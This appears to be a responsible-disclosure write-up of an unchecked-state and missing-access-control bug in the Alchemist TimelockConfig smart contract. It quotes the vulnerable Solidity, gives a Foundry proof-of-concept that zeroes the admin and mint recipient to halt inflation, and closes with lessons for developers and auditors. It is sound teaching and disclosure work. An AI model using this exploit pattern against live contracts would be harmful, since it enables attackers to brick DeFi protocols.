Alchemist is a web3 community who developed the notable Fjord Foundry platform and a DeFi ecosystem composed of at least:
Alchemist ERC20 - token $MIST
Aludel - staking/rewards program
Crucible - a vault/smart wallet for ERC20 tokens to subscribe to staking/rewards programs like Aludel
Alchemist.advance() mints new inflation according to set parameters which can be streamed to Aludel to be distributed to stakers. The parameters controlling Alchemist are set by TimelockConfig which implements a 2-step time-delayed change system managed by a multi-sig admin wallet.
Changes to the configuration are first proposed in step 1 TimelockConfig.requestChange(), then a waiting period (at the time 7 days) must be served during which changes can be canceled TimelockConfig.cancelChange(), and only after the waiting period can the changes be confirmed TimelockConfig.confirmChange().
Missing Access Control
While requestChange() & cancelChange() have "onlyAdmin" modifier, confirmChange() does not, allowing anyone to call Timelock.confirmChange() to confirm a change that was previously requested by the admin, as long as that change has served the waiting period. While this sounds harmless, this missing access control does create an entry point for an attacker by opening up the confirmChange() function.
Unchecked State Transition
Carefully examining TimelockConfig.confirmChange() shows that it doesn't correctly verify that step 1 of the configuration process has been proposed:
function confirmChange(bytes32 configID) external override {
require(
block.timestamp >= _pending[configID].timestamp + _config[TIMELOCK_CONFIG_ID],
"too early"
);
uint256 value = _pending[configID].value;
_configSet.add(configID);
_config[configID] = value;
_pendingSet.remove(configID);
delete _pending[configID];
emit ChangeConfirmed(configID, value);
}
Hence if no change has been proposed, an attacker can directly call TimelockConfig.confirmChange() with whichever configID they want to set to 0, and it will immediately brick that configID to 0. This unchecked state transition vulnerability has been observed by other auditors in other projects using 2-step ownership transfer processes and I had just learned about it 3 days prior from studying @gogotheauditor's audit report. @pashovkrum has also remarked that he commonly sees code where developers seem to assume that reading a non-existent index from a map will revert, eg:
uint a = _pending[configID].timestamp;
In Solidity if _pending doesn't contain configID, an object containing all default member values of 0 will be returned! As the same behavior would cause many other programming languages to throw an exception or terminate, I have theorized that this is a carry-over from other programming languages which developers subconsciously bring with them into Solidity, that's why it is seen across different projects & different teams.
In seeking to leverage this vulnerability to maximize the damage, I examined other parts of the system and saw that I could brick the mint recipient to force Alchemist.advance() to revert, permanently stopping the flow of $MIST inflation for staking rewards via StreamV2 to Aludel.
function advance() external override {
require(
block.timestamp >= _previousEpochTimestamp + getEpochDuration(),
"not ready to advance"
);
_epoch++;
_previousEpochTimestamp = block.timestamp;
ERC20Snapshot._snapshot();
uint256 supplyMinted = (ERC20.totalSupply() * getInflationBps()) / 10000;
ERC20._mint(getRecipient(), supplyMinted);
emit Advanced(_epoch, supplyMinted);
}
I then created a proof of concept to verify the attack:
contract AlchemistTest is Test {
Alchemist public vulnContract;
address owner = address(1);
address attacker = address(2);
address recipient = address(3);
uint256 inflationBps = 100;
uint256 epochDuration = 1000;
uint256 timelock = 60 * 60;
uint256 supply = 1000000;
uint256 epochStart = 1000;
function setUp() public {
vm.prank(owner);
vulnContract = new Alchemist(owner, recipient, inflationBps, epochDuration, timelock, supply, epochStart);
assertEq(vulnContract.getAdmin(), owner);
assertEq(vulnContract.getRecipient(), recipient);
}
function testBrickAdvance() public {
skip(timelock);
vm.startPrank(attacker);
vulnContract.confirmChange(vulnContract.ADMIN_CONFIG_ID());
vulnContract.confirmChange(vulnContract.RECIPIENT_CONFIG_ID());
vm.stopPrank();
assertEq(vulnContract.getRecipient(), address(0));
assertEq(vulnContract.getAdmin(), address(0));
vm.startPrank(owner);
vm.expectRevert("ERC20: mint to the zero address");
vulnContract.advance();
vm.stopPrank();
}
}
After verifying the attack was valid I notified the Alchemist team.
Timeline Of Events
17/03/2023 - identified the vulnerability and developed proof of concept,
18/03/2023 - alerted Alchemist team, supported them in deploying a temporary fix to prevent similar attacks & advised on a permanent solution,
14/04/2023 - received bug bounty 10% of the treasury (liquid & illiquid) with a combined value of $28K at time of receipt and permission from the Alchemist team to publicly publish this report.
Lessons For Developers
Solidity developers should be careful of the subconscious assumptions they bring with them from working in other programming environments; these may not hold true when coming to Solidity, Solidity may behave in the exact opposite ways they are used to. Solidity does not revert when addressing a non-existent index in a map, it returns an empty object with default member values.
Developers should be vigilant to verify that state transitions they are expecting to have occurred, have actually occurred. In a 2-step process, developers must verify that step 1 has occurred and revert if it hasn't.
Related sets of functions should have similar access controls. Exposing functions to arbitrary external callers increases the attack surface of your code; TimelockConfig.confirmChange() even with the unchecked state transition bug would have been protected simply through having the "onlyAdmin" modifier, preventing anyone but the admin from calling it.
Developers should seek to implement a Defence In Depth strategy erring on the side of caution; functions should contain input validation, state validation, invariant/sanity checks. Developers should consider key parameters calculated within functions and include sanity checks reverting execution if they equal a value they shouldn't (such as 0), even if the developer can't imagine how an attacker might cause that to happen.
Lessons For Auditors
Auditors should be aware of how they might exploit developers' assumptions; smart contract auditors should consciously ask themselves: What subconscious assumptions has the developer made, and are these assumptions valid? If not, can they be exploited?
When auditing a multi-step process, does the code verify at each step that the previous step has actually occurred, or has the developer assumed that the previous step has occurred and hence not correctly verified it?
When reviewing a function or code flow, every professional smart contract auditor should examine whether they can cause key parameters calculated inside functions to be set to 0 (or other unexpected values), whether the code will continue to execute with the 0/unexpected values, and what the consequences of this might be - especially if the developer has assumed that the code will execute with non-zero values.